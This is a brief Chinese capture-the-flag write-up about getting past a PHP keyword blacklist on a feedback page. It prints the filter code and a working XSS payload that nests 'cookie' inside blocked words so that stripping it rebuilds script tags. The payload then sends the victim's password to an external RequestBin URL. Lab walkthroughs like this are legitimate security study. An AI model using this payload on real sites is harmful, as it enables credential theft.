进入靶场
修改了url后才到了注册页面
注测后再登录
查看源码
都点进去看看
有个反馈页面
再查看源码
又有收获
// 检查$feedback是否为数组
if (is_array($feedback)) {// 如果是数组,弹出提示框提示反馈不合法echo "<script>alert('反馈不合法');</script>";// 返回false,表示反馈不符合要求return false;
}
// 定义一个黑名单数组,包含一些不允许在反馈中出现的关键字和特殊字符
$blacklist = ['_', '\'', '&', '\\', '#', '%', 'input','script', 'iframe', 'host', 'onload', 'onerror','srcdoc', 'location','svg', 'form', 'img','src', 'getElement', 'document', 'cookie'];
// 遍历黑名单数组
foreach ($blacklist as $val) {// 进入循环,不断检查和替换while (true) {// 不区分大小写地检查$feedback中是否包含当前黑名单中的值if (stripos($feedback, $val)!== false) {// 如果包含,不区分大小写地将其从$feedback中替换为空字符串$feedback = str_ireplace($val, "", $feedback);} else {// 如果不包含,跳出当前循环break;}}
}
用到下面网站
RequestBin — Collect, inspect and debug HTTP requests and webhooks
<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
var psw = docucookiement.getcookieElementsByName("password")[0].value;
docucookiement.locacookietion="http://http.requestbin.buuoj.cn/1a5ujib1/?a="+psw;
</scrcookieipt>
最后在网站上可以得到flag